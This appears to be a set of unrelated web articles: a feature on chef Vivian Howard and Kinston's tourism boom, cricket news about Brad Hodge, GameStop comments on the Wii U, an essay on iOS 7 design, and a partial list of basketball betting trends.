up to Vivian to fill in the gaps with “confessionals,” where she looks straight ahead into the camera and narrates. They tried scripts at first, but Vivian sounded too stiff. So Cynthia will prompt Vivian with a topic or idea, and she’ll speak.  During a break, someone asks who she’s talking to. “I’m talking to America,” Vivian says, and she and everybody else belly laugh.  But seriously. “I never really think about that. I do talk, and then I look at Cynthia for approval.”  Today, they have to get through confessionals for the final five episodes of A Chef’s Life’s third season. The kitchen in a condo, which used to be the back corner of a tire warehouse in downtown Kinston, has been turned into a set. Pots and pans are arranged on shelves, where they will appear, out of focus, behind Vivian — noticeable, but not too noticeable. The air conditioner is off. So is the refrigerator. They make too much noise. Sheets taped over the tall plate-glass windows soften the light. There are only a few crew members here, all from North Carolina. The two camera guys drove down this morning from Durham. A makeup woman came over from Deep Gap. Cynthia is simultaneously directing, producing, and wielding a boom mike with such precision that she can use it to knock down flyaway hairs on Vivian’s head. They purposely travel light. “One, because we don’t have any money,” Cynthia says. “And two, because we don’t have any money.”  Vivian, now in a different shirt for a different episode, sits down inside a cocoon of reflectors, lights, and blankets around the countertop, which muffle the echoes from the tall ceilings.  “I think that we can talk about the beef tongue a little bit,” Cynthia says.  “If you had told me nine years ago that I would be drinking beer brewed in Kinston, serving beef tongue tacos at a gallery in downtown,” Vivian says, right into the camera, “I would have laughed in your face.”  It doesn’t land with the right punch, so Vivian does a more playful take: “That’s some good tongue. That’s some luscious, fatty tongue.”  “I wonder if that’s going to make us PG,” says Cynthia.  Next take: “These Kinstonians are loving my tongue.” Laughter follows.  “And the art,” says Cynthia.  “And the art,” Vivian tacks on to the end of the next take.  “Good with me,” Cynthia says, putting down the boom mike.  The TV show was Vivian’s idea. She’d been a volunteer at WRAL in Raleigh during college and had interned at CBS Sunday Morning in New York. She originally wanted to be a broadcast journalist, but shifted to advertising and then to food writing, and figured she would need to learn about food by working in kitchens. Over time, cooking, not journalism, became her career.  Chef & the Farmer opened nine years ago, in 2006. Anyone who’s watched the beginning of A Chef’s Life knows the story. Vivian and her husband, Ben Knight, were working at restaurants in New York City. Her parents offered to help her open a restaurant, but the catch was that the restaurant would have to be in eastern North Carolina, a place where Vivian grew up, but swore never to return.  It’s a little more complex than that. It was really Vivian’s sister and brother-in-law who wanted to have a little niche grocery store with a sandwich shop in it. That idea morphed into the concept for a high-end restaurant in Kinston. Local leaders, thirsty for any kind of new business downtown, helped make a building at the corner of Herritage and Gordon streets more affordable. Vivian’s parents, who had been prominent tobacco farmers in the area, pitched in. They all renovated a century-old boxy brick building, once a mule stable and more recently a print shop, into Chef & the Farmer.  The restaurant got off to a slow start. The food wasn’t Southern, and people in Kinston didn’t connect with it. Vivian called some dishes, like smoked goat cheese ravioli with tomato petals, bad versions of the food she was cooking in New York. A year in, she had her breakthrough moment with a breakthrough dish: barbecued chicken with a blueberry eastern-style sauce. Over the next few years, Chef & the Farmer started to turn into a word-of-mouth destination for people around Raleigh, Durham, and Chapel Hill who were looking for an alternative to restaurants there. A 2009 Raleigh News & Observer review brought more interest. Still, Vivian was restless, and turned back to writing as an outlet. She became obsessed with old traditions.  Most of them already know the whole backstory. They want to see if real life matches up with what they watch on TV.  Some elderly neighbors invited her over to make collard kraut. She wrote a blog post about it. “Nobody read it,” she says.  But the idea stuck with her. Ben suggested Vivian call Cynthia Hill, a documentary filmmaker in Durham. Cynthia was between projects, and agreed to come down to Kinston to experiment under one condition: Vivian wouldn’t be merely the narrator for the show. She would be its main character.  Vivian explains what happened next over a glass of white wine at Buy Local, an art gallery and wine tasting room a block away from her restaurant. For the pilot episode, cameras followed Vivian and Ben around the restaurant. To a parade. To a farm, where she talked about sweet corn, and how to cook it. The first show ended with the fire that destroyed the restaurant’s kitchen in 2012. The cliffhanger: How would Ben and Vivian rebuild?  Cynthia sent Vivian a rough cut of the episode, but Vivian couldn’t bring herself to look at it for weeks. “If you want to do this,” Cynthia told her, “you have to be able to watch it.”  At first, nobody else seemed to want to watch the show, either. UNC-TV and other networks originally passed, before South Carolina’s ETV agreed to help distribute it to PBS stations nationwide. The show’s first episode aired in September 2013. And with that, Chef & the Farmer went from a regional destination to a national one. People started to look up Vivian Howard en masse on Google. Who is she? Where is Kinston? How can I get there? Where do I stay? What else can I eat while I’m there?  “I think we were really surprised at how much of an impact it had,” Vivian says, “because we didn’t really think anyone was going to watch it.”  Here’s what that impact looks like: While Vivian sits in the gallery drinking wine, three sisters are traipsing around town. First they took an Amtrak train to Wilson, then they took a Greyhound bus to Kinston. The sisters — Kathleen Bradford and Denny Galarza from Pennsylvania, and Jeanie Cavanagh from Denver, Colorado — planned to stay for four days. With no car. Kinston has no taxi service. They’ve eaten for two nights at the Boiler Room Oyster Bar, and tonight they’re finishing up dessert at Chef & the Farmer, which is packed with a diverse crowd, young and old. The restaurant’s marketing director caught wind that the sisters were in town, and, in the pouring rain, carted them out to Warren Brothers’s farm in La Grange, which is featured prominently on the TV show. She took them to a local barbecue place, where they learned why people in these parts drink Pepsi and not Coke. At one point, when they passed by the condo, Vivian herself came outside and surprised them.  Chef & the Farmer has been a spark, creating an industry nobody ever envisioned for downtown Kinston: tourism.  “We’ve seen a lot,” says Kathleen. They’d had no idea what to expect. They brought books and a deck of cards to pass the time. They haven’t touched them.  Jeanie says this isn’t a vacation. It’s a bucket-list destination. “I have such respect for Vivian,” she says. “I don’t know her, but it’s obvious from the show that she’s so clear about what she wants to achieve.”  It takes planning to eat at Chef & the Farmer now. Reservations book up weeks in advance. As the sisters finish dessert, empty tables fill up again. Plates of Cornish game hens, tomato pies, pork belly skewers, and wood-roasted halibut fly out of the kitchen. Waiters hustle. Before the TV show, people would walk in, and you could see a certain look on their faces. One that said, I drove a long way to be here. This had better be as good as everyone says it is. Now, expectations are even higher. It has to be good, because they put it on television, right? Chef & the Farmer is more than a restaurant now. It’s a voyage. People don’t wander in and discover the menu anymore. Most of them already know the whole backstory. They want to see if real life matches up with what they watch on TV.  Vivian sits in the art gallery, contemplating this. “It’s, like, larger than life,” she says of Chef & the Farmer. “It’s like they somehow expect that it’s going to change their lives.”  “That’s good,” says Ben Harper, Buy Local’s owner.  “Except that it’s just a restaurant,” Vivian says. “If I were to do what I used to do, which is stand at the end of that pass, we would never get a plate of food out. I did it for a while. There were layers of people waiting to come up to talk to me.”  That’s part of the reason why Vivian no longer hangs out in her restaurant every night. The show reflects that. If A Chef’s Life doesn’t show Vivian going from table to table, that expectation is no longer there, and people won’t feel as disappointed if they don’t meet her. There are autographed menus in the back for visitors who want a totem to take home. But a selfie, the current currency of closeness to celebrity, is increasingly hard to come by, because Vivian no longer needs to have as active a role in the day-to-day running of her restaurant. She, like most of us, wants to be at home in the evening with her 4-year-old twins, Florence and Theodore.  Out on the sidewalk in front of Buy Local,  a woman and her kids walk up to the gallery’s windows and peer inside. They’ve been searching for Vivian, who puts down her wine and walks out.  “Lila wanted to meet you,” says Lila’s stepmom, Missy Aldridge.  “You want to take a picture?” Vivian asks, before crowding between Lila, 11, and her brother Trey, 10.  Missy explains that Lila keeps changing her mind about what she wants to do when she grows up. She’s shifting between wanting to be a chef, a baker, or an artist.  “You can be all three of those,” Vivian tells her.  Missy raises her smartphone. “We watch you on the show all the time,” she tells Vivian. “When we watched y’all, I said ‘I really do know her.’ ”  Missy’s visiting from Clayton. “None of this was here!” she says, a bit wide-eyed. “I never thought this one restaurant would have started all this.”  After Chef & the Farmer, next came Mother Earth Brewing, which opened downtown in October 2009. The taproom opened five months later. Then, starting in late 2011, a slew of new restaurants opened: Queen Street Deli & Bakery, Irie Eat’s Café. Ginger 108. The Red Room. Sweetiepies Cupcakery. The Boiler Room Oyster Bar (opened by Ben and Vivian. And, most recently, Olvera Street Taqueria. All of those restaurants feed off of Chef & the Farmer, which is only open for dinner. Last year, the O’Neil Hotel opened in a long-dormant five-story bank building, and now offers seven rooms for people who want to be within walking distance of it all. The place is often full, even on weekdays.  “I think we were really surprised at how much of an impact it had,” Vivian says, “because we didn’t really think anyone was going to watch it.”  Businesses that have been mainstays in downtown Kinston for decades are happily adjusting to the cameras and the people they bring. In one episode, Vivian buys some chicks from Parrott’s General Store, which has been open for 71 years. You can buy live rabbits, too, but tourists can’t figure out a way to take animals home, so the store started selling gifts. Business has been so good that Parrott’s expanded five years ago. “I’m not used to cameras,” says owner Tommy Jones, smiling. “I didn’t run and hide. But I wanted to.”  Another time, Vivian interviewed J.C. Reynolds of Reynolds Seafood, which has flounder, speckled trout, and spot on ice in a display case. “It was OK,” J.C. says of the experience, but the response to the show was intense. He had Harper print up T-shirts for out-of-towners who wanted to buy something, but weren’t prepared to drive home with a whole sea mullet.  Some people are coming here to live, lured by a growing art and restaurant scene, $300-a-month apartments, and $600-a-month mortgages. Harper, a young, bearded, family man, used to be a T-shirt printer in Carrboro, where he paid high rent on his shop. But after eating at Chef & the Farmer in 2013, he was intrigued by what he saw in town. Last year, he moved his business and his family to Kinston. He bought a storefront on West North Street downtown. He bought a house for a song. And he’s happy. He’s betting on Kinston’s future, as a small town that’s big on food and culture. “There are progressive things happening here that gave me the confidence that this would be an interesting place to be,” he says.  Even with all this — the new restaurants, the pioneers, and the buzz — a walk from the O’Neil Hotel at night is a surprisingly solitary affair. Walk inward, toward the Chef & the Farmer down Gordon or North streets, and you pass restaurants that are open, or about to open. There’s a spa. There’s a butcher shop. There are people, dressed like out-of-towners — Hawaiian shirts, big necklaces, and shorts with belts — maybe heading to The Red Room for a drink. Windows in empty storefronts now display framed walls waiting for Sheetrock.  Walk in the other direction, down Queen Street, and you see old Kinston, the one still unaffected by the rising tide coming from Vivian and her TV show. There’s the abandoned Paramount theater, a karate studio, a thrift shop, a shoe store, and a used-book seller. This town, built on tobacco farms, wounded by Hurricane Floyd, and left fallow by the loss of lumber and cotton mills, has been steadily losing people since 1990. “It’s a town in transition,” says Adrian King, executive director of Pride of Kinston, a group trying to revitalize old buildings downtown and to get new businesses to move in. Chef & the Farmer has been a spark, creating an industry nobody ever envisioned for downtown Kinston: tourism. “It basically set that end of town on fire,” he says.  But despite the show’s success — its third season debuted on PBS in September — the struggle for funding is constant. PBS doesn’t pay production costs; they merely provide distribution. So it’s up to Vivian and Cynthia to go out and find underwriters who will get very limited exposure during each episode (PBS doesn’t allow product placement, so one sponsor, a cookware company, isn’t allowed to have its products featured on A Chef’s Life). Vivian is branching out, with cookbooks and a short series of sponsored online videos for Yahoo.com, where the advertising rules aren’t as strict. The constant hustle is proof that being this kind of a TV star doesn’t bring an automatic paycheck. What it does bring is fame. Which brings tourists. Which brings hope. In Kinston, Vivian Howard has created her own ecosystem, where hungry diners are the raw material for aspiring chefs, entrepreneurs, and artists. Chef & the Farmer remains at the top of the food chain. No matter where you go, you eventually end up there. That’s the power of Vivian’s story. A story well told.  “For a long time, it was the Ben and Vivian show in downtown Kinston,” Vivian says, her eyes focused into the camera lens. She’s back at the confessional, trying to provide some context for an episode late in the third season. “But in the last few years, a lot of other people are looking at our downtown as a place to open businesses. I mean, to think that we have this cool gallery. We have several restaurants. It’s very, very exciting.” Vivian nails the first take, but she still looks away from the camera and over to Cynthia for approval.  “That’s fine,” Cynthia says, and they move on to the next scene.
-Veteran Adelaide Strikers batsman Brad Hodge has thrown his hat in the ring to be part of the Pakistan Super League (PSL) in Qatar next February.  Hodge, 40, enjoyed a productive stint in the Caribbean Premier League (CPL) this year with Guyana, finishing as the tournament’s seventh-highest runs-scorer, and will again line up for the Strikers in his dual role of batsman and assistant coach in BBL|05.  The PSL, set to be staged in the Qatar capital of Doha, has already attracted the likes of West Indian T20 superstars Chris Gayle, Dwayne Bravo and Kieron Pollard, and Hodge has confirmed that he has applied to play in the tournament.  Quick Single: BBL|05 ins and outs so far  “I’ve put my name down to be a part of it – fingers crossed, you never know what can happen,” he told cricket.com.au. “My name just gets put into a draft, and hopefully someone picks me up and I can contribute.  “There’s a lot of good players out there that I assume want to be involved, so we’ll see.  “I feel a little bit for the Pakistan cricket side, how they’ve had to play away and they’ve had no home cricket for a long time.  “They’re such an exciting team, their supporter base is really good, so I reckon this will be a good tournament to lift their spirits.  “It could be a landmark moment where people get back on board the Pakistan cricket cause.”  The inaugural season of the PSL is set to include five teams from the provincial capitals – Islamabad, Karachi, Lahore, Peshawar and Quetta – and include 24 matches between February 4-24.  Quick Single: Stars name new captain, vice-captain  Hodge, who has plied his trade in various domestic Twenty20 competitions around the world and is hoping to again play in next year’s CPL, said he was eagerly anticipating another season of the Big Bash, during which he will turn 41.  “I’ve probably got a little bit left in me, which is nice,” he said. “I think if my performances drop off, I’ll know, but that hasn’t happened yet.  “The breaks actually really help your motivation. You get excited in the build-up to each tournament, whereas sometimes, when you’ve been in the game for this long and continue training Monday to Friday, you just drift in and out.  “I don’t have that anymore in my life – cricket season just comes, I get into the action and away I go.”  Hodge broke his arm during last year’s Big Bash season, his first with Adelaide, and missed much of the tournament before returning for the home final at which 52,000 Strikers fans watched their team lose to the Sydney Sixers.  Quick Single: Pattinson needs more time: Smith  “I sort of feel like a new recruit this year,” he said. “But when I played at the new Adelaide Oval in front of a full crowd, as a Victorian, I had to actually question which venue was better out of the MCG or Adelaide – it was a tough call.  “It was quite a spectacle really. They’ve got a really good fan base there now and we played a good, exciting brand of cricket which they loved as well.”  Though he was lured to South Australia by former coach Darren Berry, Hodge is looking forward to the prospect of linking up with new mentor Jason Gillespie.  “Jason’s done well in the four-day comp over there (with Yorkshire in England) and hopefully he can bring some of that success to the Strikers,” he said.  “He’ll have his own ideas and the way he wants to do it, so I’ll fit in and work with Jason, find out the game plan and try to help those young kids that we have as best I possibly can.  “That’s the idea of having that experience in the side – you have to try to pass that knowledge on as well as you can.  “We saw some really good glimpses of that last year where it paid off. Travis Head went really well, Alex Ross came in and had a few cameos, which was something I’d spoken about with him after my own experiences with Rajasthan Royals.”
-Nintendo's Wii U may not have gotten off to a hot start, but you shouldn't bet against the platform, according to GameStop president Tony Bartel. Speaking with investors today during an earnings call, Bartel laid out the reasons why he thinks the Wii U can be a hit.  "We've been very consistent every time we're asked about the Wii U," he said. "Really what they needed was two things: they needed strong first-party titles, which we think that they are getting; and they also needed to do a better job of explaining exactly what the connected tablet--as we like to call it--how you actually use that. I think they are going to do a great job on both of those."  Some major first-party Wii U games on the way include Super Smash Bros. (fall 2014), Hyrule Warriors (September), and a brand new, open-world Legend of Zelda game for 2015.  GameStop executive vice president Mike Hogan also chimed in, saying Mario Kart 8's record-setting release in May helped drive Wii U sales substantially. The game has sold nearly 3 million copies worldwide to date. In addition, GameStop management referenced the data released this week from Amazon (via MCV) that showed Wii U game preorders spiked by a major margin after Gamescom last week. "So we're very excited about that," Bartel said.  Finally, Bartel teased that Nintendo's upcoming toy line, amiibo, could be a big hit. "I would also not sell amiibo short, either," he said. Amiibo launches this fall with Super Smash Bros. for Wii U, and will also work with Mario Kart 8, Yoshi's Woolly World, Captain Toad: Treasure Tracker, and Mario Party 10. Nintendo will also sell an adapter that will allow the toys to work with the 3DS.  GameStop today reported earnings for its latest quarter, and the results were strong across the board. The company posted year-over-year gains for revenue and profit, and also saw hardware and software post positive growth compared to last year.
-‘This Is Our Signature’: iOS 7  No one has questioned whether Jony Ive can lead a hardware design team. Whether he could lead a software design team, however, has been the biggest question facing Apple over the last eight months. In fact, it might be the biggest question facing Apple, ever, because it’s another way of asking whether the company could produce innovative software without you-know-who at the helm of the ship.  Today, we have our answer, and it is a resounding yes. Jony Ive can lead a software team.  The key, I think, is that his approach, and Apple’s as a whole under its post-Forstall organizational structure, is not to view this as two different things, hardware and software, but rather as a single thing: design.  There is a deep intellectual rigor to the design of iOS 7, and it’s hard not to see it as being profoundly informed by Ive’s background in hardware. In hardware, design is limited by physics: weight, density, size, connections, seams. Software doesn’t face those design limits. The old design of iOS 6 took advantage of that lack of limits, to its detriment. In iOS 6, you open a folder on the home screen, and linen is something you see underneath. You pull down Notification Center, and linen is something you see over. It’s both over and under. Hardware doesn’t work like that, but software can, because software can show you anything, conceptual logic be damned.  The design of iOS 7 is based on rules. There’s an intricate system at work, a Z-axis of layers organized in a logical way. There is a profound reduction in the use of faux-3D visual effects and textures, but iOS 7 is anything but flat. It is three dimensional not just visually but logically. It uses translucency not to show off, but to provide you with a sense of place. When you pull the new Control Center panel up from the bottom of the screen, its translucency lets you know that you haven’t gone somewhere new, you’re just looking at something over where you were.  There’s a sense of place, depth, and spatiality in iOS 7 that makes it feel like hardware. A real thing, not pixels rendered on glass. It’s as though Ive has brought the same design goals that have always informed Apple’s hardware to software. And here, his team isn’t limited by physics. Planes can have zero thickness. But it’s a system, in the truest sense of the word.  iOS 7 is not perfect; this new design framework will evolve and improve over time, just like iOS’s original aesthetic did. But it’s a conceptual foundation that corrects all of the excesses of the original iOS aesthetic. It’s radically different but not disorienting. Less flashy, less bling, more subtle, more refined.  This is the first product of the post-Jobs Apple. The result shows that in some ways Apple’s software design has gotten better, because it was Jobs (and Forstall) who had a penchant for exuberant textures and gimmickry. Jobs’s taste in hardware was nearly perfect, but his taste in software had a weakness for the saccharine. Wood grain, linen, Rich Corinthian leather, etc. It was all just sugar for the eyes. This is a weakness Jony Ive’s software taste clearly does not suffer.  The software is now of a piece with the hardware. Two sides of the same coin. Not hardware design and software design. Just design.
-Sports betting picks and handicapping information for your Saturday card. Sports betting aid once again brings to you the latest stats , trends, and handicapping situations to help you in all of your sports handicapping ventures. And if sports capping isn’t really your thing no worries we have also included some free sports picks from some of the best known pro sports handicappers and services on the web. We hope this information will aid you in all of your sports predictions today and best of luck !  NBA Stats and Trends for Saturday  Hot Teams  — Thunder won/covered last four games (6-4 AF).  — Bulls won four of their last five games (3-8 last 11 HF).  — Toronto won ten of its last twelve games (3-1 last four AU).  — Clippers won their last three games (7-3 last ten HF).  Cold Teams  — Hornets lost last three games, by 8-1-28 points (4-6-1 HU).  — Miami lost six of last nine games (2-8-1 last 11 HF). Pelicans lost their last four games (8-0 last eight AU).  — Suns lost six of their last seven games (1-3 last four AU).  — Rockets lost three of last four games (6-2-1 last nine HF).  — Kings lost five of their last seven games (3-8 last 11 AU).  Series Records  — Thunder won their last eight games with Charlotte.  — Pelicans won last two games with Miami, after losing previous five.  — Bulls won six of last eight games with Phoenix.  — Home side won last 12 Toronto-Houston games.  — Clippers won ten of last twelve games with Sacramento.  Totals  — Eight of last nine Charlotte home games stayed under.  — Six of last eight New Orleans games went over.  — Six of last seven Chicago games stayed under total.  — Five of last seven Houston home games went over.  — Four of last five Sacramento road games stayed under.  Back-to-Backs  — Pelicans are 10-2 vs spread if they played night before. Heat is 6-4-2.  — Suns are 4-6 vs spread if they played night before; Bulls are 7-6.  — Raptors are 8-2 vs spread if they played night before; Rockets are 8-5.  — Sacramento is 3-4 vs spread on road if it played night before.  NBA > (505) PHOENIX@ (506) CHICAGO | 02/21/2015 – 08:05 PM  Play AGAINST CHICAGO using the money line in Home games after a division game  The record is 8 Wins and 12 Losses for the last three seasons (-26.3 units)  NBA > (503) NEW ORLEANS@ (504) MIAMI | 02/21/2015 – 07:35 PM  Play ON NEW ORLEANS using the money line in All games after scoring 85 points or less  The record is 15 Wins and 9 Losses for the last three seasons (+18.2 units)  NBA > (505) PHOENIX@ (506) CHICAGO | 02/21/2015 – 08:05 PM  Play ON PHOENIX using the against the spread in Road games in non-conference games  The record is 19 Wins and 5 Losses for the last two seasons (+13.5 units)  NBA > (505) PHOENIX@ (506) CHICAGO | 02/21/2015 – 08:05 PM  Play UNDER CHICAGO on the total in Home games on Saturday games  The record is 6 Overs and 22 Unders for the last three seasons (+15.4 units)  NBA > (503) NEW ORLEANS@ (504) MIAMI | 02/21/2015 – 07:35 PM  Play OVER NEW ORLEANS on the total in All games when playing against a team with a losing record  The record is 61 Overs and 29 Unders for the last three seasons (+29.1 units)  NBA > (507) TORONTO@ (508) HOUSTON | 02/21/2015 – 08:05 PM  Play OVER TORONTO on the total in Road games versus good offensive teams – scoring 99+ points/game  The record is 32 Overs and 12 Unders for the last three seasons (+18.8 units)  NBA > (509) SACRAMENTO@ (510) LA CLIPPERS | 02/21/2015 – 10:05 PM  Play UNDER SACRAMENTO on the total in All games versus good offensive teams – scoring 99+ points/game – 2nd half of the season  The record is 9 Overs and 25 Unders for the last two seasons (+15.1 units)  NBA > (509) SACRAMENTO@ (510) LA CLIPPERS | 02/21/2015 – 10:05 PM  Play AGAINST SACRAMENTO in the first half in Road games after a non-conference game  The record is 6 Wins and 20 Losses for the last two seasons (-16 units)  NBA > (501) OKLAHOMA CITY@ (502) CHARLOTTE | 02/21/2015 – 07:05 PM  Play UNDER CHARLOTTE on the total in All games on Saturday games  The record is 1 Overs and 10 Unders for the this season (+8.9 units)  College Basketball Stats and Trends for Saturday  CBB > (709) N DAKOTA@ (710) SACRAMENTO ST | 02/21/2015 – 10:00 PM  Play ON SACRAMENTO ST using the money line in All games as a favorite  The record is 16 Wins and 1 Losses for the last two seasons (+14.6 units)  CBB > (551) DAYTON@ (552) DUQUESNE | 02/21/2015 – 02:00 PM  Play AGAINST DUQUESNE using the money line in All games in February games  The record is 33 Wins and 76 Losses for the since 1992 (-72.05 units)  CBB > (613) COLUMBIA@ (614) YALE | 02/21/2015 – 07:00 PM  Play ON YALE using the money line in All games versus good defensive teams – allowing <=64 points/game after 15+ games  The record is 11 Wins and 4 Losses for the last three seasons (+17 units)  CBB > (563) NEVADA@ (564) BOISE ST | 02/21/2015 – 03:00 PM  Play AGAINST NEVADA using the money line in All games in February games  The record is 5 Wins and 13 Losses for the last three seasons (-20.1 units)  CBB > (681) IDAHO ST@ (682) MONTANA ST | 02/21/2015 – 04:30 PM  Play AGAINST IDAHO ST using the money line in All games when playing against a team with a losing record  The record is 3 Wins and 17 Losses for the last two seasons (-16.75 units)  CBB > (657) HAWAII@ (658) CAL DAVIS | 02/21/2015 – 10:00 PM  Play ON CAL DAVIS using the money line in All games off a win against a conference rival  The record is 8 Wins and 1 Losses for the this season (+10.2 units)  CBB > (515) PITTSBURGH@ (516) SYRACUSE | 02/21/2015 – 12:00 PM  Play AGAINST PITTSBURGH using the money line in Road games versus good defensive teams – allowing <=64 points/game  The record is 5 Wins and 14 Losses for the last three seasons (-20 units)  CBB > (607) COLL OF CHARLESTON@ (608) JAMES MADISON | 02/21/2015 – 07:00 PM  Play ON JAMES MADISON in the first half in All games when playing against a team with a losing record  The record is 19 Wins and 3 Losses for the last two seasons (+15.7 units)  CBB > (587) SOUTHERN MISS@ (588) CHARLOTTE | 02/21/2015 – 05:30 PM  Play AGAINST CHARLOTTE using the money line in All games when playing with one or less days rest  The record is 21 Wins and 27 Losses for the since 1992 (-43.25 units)  CBB > (655) SAN DIEGO ST@ (656) SAN JOSE ST | 02/21/2015 – 10:00 PM  Play ON SAN DIEGO ST using the money line in All games in all games  The record is 37 Wins and 11 Losses for the last two seasons (+25.95 units)  CBB > (527) ELON@ (528) DELAWARE | 02/21/2015 – 12:30 PM  Play ON DELAWARE using the money line in All games when playing against a team with a losing record  The record is 15 Wins and 2 Losses for the last two seasons (+13 units)  CBB > (577) CLEMSON@ (578) DUKE | 02/21/2015 – 04:00 PM  Play ON CLEMSON using the money line in All games after scoring 60 points or less  The record is 8 Wins and 1 Losses for the this season (+10.05 units)  CBB > (511) S FLORIDA@ (512) E CAROLINA | 02/21/2015 – 11:00 AM  Play ON E CAROLINA using the money line in Home games in February games  The record is 8 Wins and 2 Losses for the last three seasons (+13.3 units)  CBB > (655) SAN DIEGO ST@ (656) SAN JOSE ST | 02/21/2015 – 10:00 PM  Play AGAINST SAN JOSE ST using the against the spread in All games when playing against a team with a winning record after 15 or more games  The record is 4 Wins and 22 Losses for the last three seasons (-20.2 units)  CBB > (665) COLORADO@ (666) OREGON ST | 02/21/2015 – 11:00 PM  Play UNDER COLORADO on the total in Road games on Saturday games  The record is 0 Overs and 10 Unders for the last three seasons (+10 units)  CBB > (691) MERCER@ (692) SAMFORD | 02/21/2015 – 07:00 PM  Play OVER SAMFORD on the total in All games off a loss against a conference rival  The record is 15 Overs and 2 Unders for the last two seasons (+12.8 units)  CBB > (675) IUPUI@ (676) S DAKOTA | 02/21/2015 – 03:00 PM  Play UNDER IUPUI on the total in All games after a conference game  The record is 1 Overs and 11 Unders for the this season (+9.9 units)  CBB > (649) UCLA@ (650) ARIZONA | 02/21/2015 – 09:00 PM  Play UNDER UCLA on the total in Road games when playing against a team with a winning record  The record is 1 Overs and 11 Unders for the this season (+9.9 units)  CBB > (597) AIR FORCE@ (598) COLORADO ST | 02/21/2015 – 06:00 PM  Play UNDER AIR FORCE on the total in Road games after a conference game  The record is 2 Overs and 16 Unders for the last three seasons (+13.8 units)  CBB > (531) S ILLINOIS@ (532) INDIANA ST | 02/21/2015 – 01:00 PM  Play UNDER INDIANA ST on the total in All games when playing against a team with a losing record after 15 or more games  The record is 1 Overs and 12 Unders for the last two seasons (+10.9 units)  CBB > (707) N COLORADO@ (708) PORTLAND ST | 02/21/2015 – 10:00 PM  Play AGAINST N COLORADO in the first half in All games in February games  The record is 1 Wins and 12 Losses for the last two seasons (-12.2 units)  CBB > (681) IDAHO ST@ (682) MONTANA ST | 02/21/2015 – 04:30 PM  Play AGAINST MONTANA ST using the against the spread in All games on Saturday games  The record is 3 Wins and 17 Losses for the last two seasons (-15.7 units)  CBB > (577) CLEMSON@ (578) DUKE | 02/21/2015 – 04:00 PM  Play ON CLEMSON in the first half in Road games when playing against a team with a winning record  The record is 8 Wins and 0 Losses for the this season (+8 units)  CBB > (671) ST PETERS@ (672) FAIRFIELD | 02/21/2015 – 02:00 PM  Play AGAINST FAIRFIELD in the first half in Home games after a conference game  The record is 0 Wins and 8 Losses for the this season (-8.8 units)  CBB > (527) ELON@ (528) DELAWARE | 02/21/2015 – 12:30 PM  Play AGAINST DELAWARE in the first half in Home games against conference opponents  The record is 0 Wins and 8 Losses for the this season (-8.8 units)  CBB > (521) OKLAHOMA@ (522) TEXAS TECH | 02/21/2015 – 12:00 PM  Play UNDER TEXAS TECH on the total in All games versus good defensive teams – allowing <=64 points/game after 15+ games  The record is 0 Overs and 8 Unders for the this season (+8 units)  CBB > (709) N DAKOTA@ (710) SACRAMENTO ST | 02/21/2015 – 10:00 PM  Play OVER N DAKOTA on the total in All games when playing with one or less days rest  The record is 8 Overs and 0 Unders for the this season (+8 units)  CBB > (633) WRIGHT ST@ (634) VALPARAISO | 02/21/2015 – 08:00 PM  Play AGAINST WRIGHT ST using the against the spread in All games versus good defensive teams – allowing <=64 points/game  The record is 0 Wins and 8 Losses for the this season (-8.8 units)  CBB > (637) UC-SANTA BARBARA@ (638) CS-FULLERTON | 02/21/2015 – 08:00 PM  Play AGAINST UC-SANTA BARBARA in the first half in All games versus the first half line in all games  The record is 3 Wins and 15 Losses for the this season (-13.5 units)  CBB > (565) SAN FRANCISCO@ (566) PEPPERDINE | 02/21/2015 – 04:00 PM  Play ON SAN FRANCISCO using the against the spread in Road games in February games  The record is 45 Wins and 13 Losses for the since 1992 (+30.7 units)  CBB > (619) FORDHAM@ (620) DAVIDSON | 02/21/2015 – 07:00 PM  Play ON DAVIDSON in the first half in All games versus the first half line in all games  The record is 17 Wins and 4 Losses for the this season (+12.6 units)  CBB > (519) GEORGIA TECH@ (520) N CAROLINA | 02/21/2015 – 12:00 PM  Play ON GEORGIA TECH in the first half in Road games after a conference game  The record is 14 Wins and 2 Losses for the last two seasons (+11.8 units)  CBB > (677) IUPU-FT WAYNE@ (678) N DAKOTA ST | 02/21/2015 – 03:00 PM  Play ON IUPU-FT WAYNE in the first half in All games in February games  The record is 15 Wins and 2 Losses for the last three seasons (+12.8 units)  CBB > (655) SAN DIEGO ST@ (656) SAN JOSE ST | 02/21/2015 – 10:00 PM  Play AGAINST SAN JOSE ST in the first half in All games versus good defensive teams – allowing <=64 points/game after 15+ games  The record is 2 Wins and 15 Losses for the last three seasons (-14.5 units)  CBB > (593) SANTA CLARA@ (594) LOYOLA-MARYMOUNT | 02/21/2015 – 06:00 PM  Play AGAINST LOYOLA-MARYMOUNT in the first half in Home games off a loss against a conference rival  The record is 2 Wins and 15 Losses for the last three seasons (-14.5 units)  CBB > (641) MARSHALL@ (642) UAB | 02/21/2015 – 08:00 PM  Play AGAINST MARSHALL using the against the spread in Road games on Saturday games  The record is 2 Wins and 15 Losses for the last three seasons (-14.5 units)  CBB > (571) DREXEL@ (572) NORTHEASTERN | 02/21/2015 – 04:00 PM  Play AGAINST NORTHEASTERN using the against the spread in Home games off a win against a conference rival  The record is 2 Wins and 15 Losses for the last three seasons (-14.5 units)  CBB > (677) IUPU-FT WAYNE@ (678) N DAKOTA ST | 02/21/2015 – 03:00 PM  Play ON IUPU-FT WAYNE using the against the spread in All games as an underdog  The record is 32 Wins and 9 Losses for the last three seasons (+22.1 units)  CBB > (601) VIRGINIA TECH@ (602) NC STATE | 02/21/2015 – 06:00 PM  Play AGAINST NC STATE using the against the spread in Home games when playing with 5 or 6 days rest  The record is 3 Wins and 18 Losses for the since 1992 (-16.8 units)  CBB > (539) BUFFALO@ (540) BOWLING GREEN | 02/21/2015 – 02:00 PM  Play ON BOWLING GREEN using the against the spread in All games in all games  The record is 16 Wins and 4 Losses for the this season (+11.6 units)  CBB > (669) NIAGARA@ (670) RIDER | 02/21/2015 – 02:00 PM  Play AGAINST RIDER using the against the spread in Home games when playing against a team with a losing record  The record is 0 Wins and 8 Losses for the last two seasons (-8.8 units)  CBB > (523) TEXAS A&M@ (524) S CAROLINA | 02/21/2015 – 12:00 PM  Play AGAINST S CAROLINA using the against the spread in All games versus good defensive teams – allowing <=64 points/game after 15+ games  The record is 3 Wins and 16 Losses for the last three seasons (-14.6 units)  CBB > (661) CS-NORTHRIDGE@ (662) UC-IRVINE | 02/21/2015 – 10:00 PM  Play AGAINST CS-NORTHRIDGE using the against the spread in All games in all games  The record is 5 Wins and 17 Losses for the this season (-13.7 